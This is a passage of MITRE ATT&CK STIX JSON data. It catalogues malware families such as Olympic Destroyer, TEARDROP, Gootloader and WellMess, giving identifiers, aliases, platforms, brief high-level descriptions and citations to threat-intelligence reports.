2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Olympic Destroyer"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","type":"malware","created":"2019-03-25T14:07:22.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0365","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0365"},{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2021-04-23T19:32:38.936Z","name":"Olympic Destroyer","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) ","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-26T18:39:01.095Z","name":"Crimson","description":"[Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Crimson","MSIL/Crimson"],"type":"malware","id":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","created":"2017-05-31T21:33:08.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0115","external_id":"S0115"},{"source_name":"MSIL/Crimson","description":"(Citation: Proofpoint Operation Transparent Tribe March 2016)"},{"source_name":"Kaspersky Transparent Tribe August 2020","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.","url":"https://securelist.com/transparent-tribe-part-1/98127/"},{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Craig Smith, BT Security"],"x_mitre_aliases":["Tomiris"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","created":"2021-12-29T14:47:19.862Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0671","url":"https://attack.mitre.org/software/S0671"},{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Tomiris](https://attack.mitre.org/software/S0671) is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://attack.mitre.org/software/S0671) and [GoldMax](https://attack.mitre.org/software/S0588).(Citation: Kaspersky Tomiris Sep 2021)","modified":"2022-04-15T13:14:08.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Tomiris","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-27T19:55:35.688Z","name":"TEARDROP","description":"[TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024). It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["TEARDROP"],"type":"malware","id":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","created":"2021-01-06T17:34:43.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0560","external_id":"S0560"},{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-21T07:20:52.417Z","name":"DUSTTRAP","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) is a multi-stage plugin framework associated with [APT41](https://attack.mitre.org/groups/G0096) operations with multiple components.(Citation: Google Cloud APT41 2024)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["DUSTTRAP"],"type":"malware","id":"malware--33139388-de0c-49ff-862a-041c315b142d","created":"2024-09-16T08:38:41.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1159","external_id":"S1159"},{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Zaw Min Htun, @Z3TAE"],"x_mitre_aliases":["Turian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","type":"malware","created":"2021-09-21T15:21:31.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0647","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0647"},{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.020Z","name":"Turian","description":"[Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:55:51.310Z","name":"BADHATCH","description":"[BADHATCH](https://attack.mitre.org/software/S1081) is a backdoor that has been utilized by [FIN8](https://attack.mitre.org/groups/G0061) since at least 2019. [BADHATCH](https://attack.mitre.org/software/S1081) has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Serhii Melnyk, Trustwave SpiderLabs"],"x_mitre_aliases":["BADHATCH"],"type":"malware","id":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","created":"2023-08-01T18:07:26.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1081","external_id":"S1081"},{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"},{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T04:52:58.843Z","name":"Machete","description":"[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset used by [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_contributors":["Matias Nicolas Porolli, ESET"],"x_mitre_aliases":["Machete","Pyark"],"type":"malware","id":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","created":"2019-09-13T13:17:25.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0409","external_id":"S0409"},{"source_name":"Pyark","description":"(Citation: 360 Machete Sep 2020)"},{"source_name":"Machete","description":"(Citation: Securelist Machete Aug 2014)"},{"source_name":"ESET Machete July 2019","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"},{"source_name":"Securelist Machete Aug 2014","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.","url":"https://securelist.com/el-machete/66108/"},{"source_name":"360 Machete Sep 2020","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020.","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-28T17:21:55.473Z","name":"PowerLess","description":"[PowerLess](https://attack.mitre.org/software/S1012) is a PowerShell-based modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Cybereason PowerLess February 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["PowerLess"],"type":"malware","id":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","created":"2022-06-01T20:20:02.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1012","external_id":"S1012"},{"source_name":"Cybereason PowerLess February 2022","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022.","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Action RAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--36801ffb-5c85-4c50-9121-6122e389366d","created":"2022-08-07T14:57:28.124Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S1028","url":"https://attack.mitre.org/software/S1028"},{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) is a remote access tool written in Delphi that has been used by [SideCopy](https://attack.mitre.org/groups/G1008) since at least December 2021 against Indian and Afghani government personnel.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:33:12.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Action RAT","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:56:34.181Z","name":"Avenger","description":"[Avenger](https://attack.mitre.org/software/S0473) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Avenger"],"type":"malware","id":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","created":"2020-06-11T15:24:48.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0473","external_id":"S0473"},{"source_name":"Trend Micro Tick November 2019","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-21T07:18:26.370Z","name":"DUSTPAN","description":"[DUSTPAN](https://attack.mitre.org/software/S1158) is an in-memory dropper written in C/C++ used by [APT41](https://attack.mitre.org/groups/G0096) since 2021 that decrypts and executes an embedded payload.(Citation: Google Cloud APT41 2024)(Citation: Google Cloud APT41 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["DUSTPAN"],"type":"malware","id":"malware--37487ff6-de2a-4c14-9e8b-ba3b97f78aaf","created":"2024-09-16T08:29:07.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1158","external_id":"S1158"},{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"},{"source_name":"Google Cloud APT41 2022","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman & John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:25:44.638Z","name":"Prikormka","description":"[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["Prikormka"],"type":"malware","id":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","created":"2017-05-31T21:33:07.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0113","external_id":"S0113"},{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-06-19T20:03:19.442Z","name":"Gootloader","description":"[Gootloader](https://attack.mitre.org/software/S1138) is a Javascript-based infection framework that has been used since at least 2020 as a delivery method for the Gootkit banking trojan, [Cobalt Strike](https://attack.mitre.org/software/S0154), [REvil](https://attack.mitre.org/software/S0496), and others. [Gootloader](https://attack.mitre.org/software/S1138) operates on an \"Initial Access as a Service\" model and has leveraged [SEO Poisoning](https://attack.mitre.org/techniques/T1608/006) to provide access to entities in multiple sectors worldwide including financial, military, automotive, pharmaceutical, and energy.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Pooja Natarajan, NEC Corporation India"],"x_mitre_aliases":["Gootloader"],"type":"malware","id":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","created":"2024-05-28T20:39:16.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1138","external_id":"S1138"},{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"},{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-24T18:51:58.072Z","name":"PingPull","description":"[PingPull](https://attack.mitre.org/software/S1031) is a remote access Trojan (RAT) written in Visual C++ that has been used by [GALLIUM](https://attack.mitre.org/groups/G0093) since at least June 2022. [PingPull](https://attack.mitre.org/software/S1031) has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.(Citation: Unit 42 PingPull Jun 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Yoshihiro Kori, NEC Corporation","Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_aliases":["PingPull"],"type":"malware","id":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","created":"2022-08-09T18:21:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1031","external_id":"S1031"},{"source_name":"Unit 42 PingPull Jun 2022","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["WellMess"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","type":"malware","created":"2020-09-24T19:39:44.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0514","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0514"},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."},{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2021-03-22T18:45:19.504Z","name":"WellMess","description":"[WellMess](https://attack.mitre.org/software/S0514) is lightweight malware family with variants written in .NET and Golang that has been in use since at least 2018 by [APT29](https://attack.mitre.org/groups/G0016).(Citation: CISA WellMess July 2020)(Citation: PWC WellMess July 2020)(Citation: NCSC APT29 July 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:43:00.252Z","name":"Dacls","description":"[Dacls](https://attack.mitre.org/software/S0497) is a multi-platform remote access tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least December 2019.(Citation: TrendMicro macOS Dacls May 2020)(Citation: SentinelOne Lazarus macOS July 2020)","x_mitre_platforms":["macOS","Linux","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Dacls"],"type":"malware","id":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","created":"2020-08-07T14:53:56.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0497","external_id":"S0497"},{"source_name":"TrendMicro macOS Dacls May 2020","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/"},{"source_name":"SentinelOne Lazarus macOS July 2020","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020.","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["DropBook"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","type":"malware","created":"2020-12-22T18:36:12.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0547","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0547"},{"source_name":"DropBook","description":"(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)"},{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2021-08-18T23:44:04.697Z","name":"DropBook","description":"[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T20:34:14.166Z","name":"Woody RAT","description":" [Woody RAT](https://attack.mitre.org/software/S1065) is a remote access trojan (RAT) that has been used since at least August 2021 against Russian organizations.(Citation: MalwareBytes WoodyRAT Aug 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Yoshihiro Kori, NEC Corporation","Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India","Adam Lichters"],"x_mitre_aliases":["Woody RAT"],"type":"malware","id":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","created":"2023-02-14T16:52:39.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1065","external_id":"S1065"},{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). 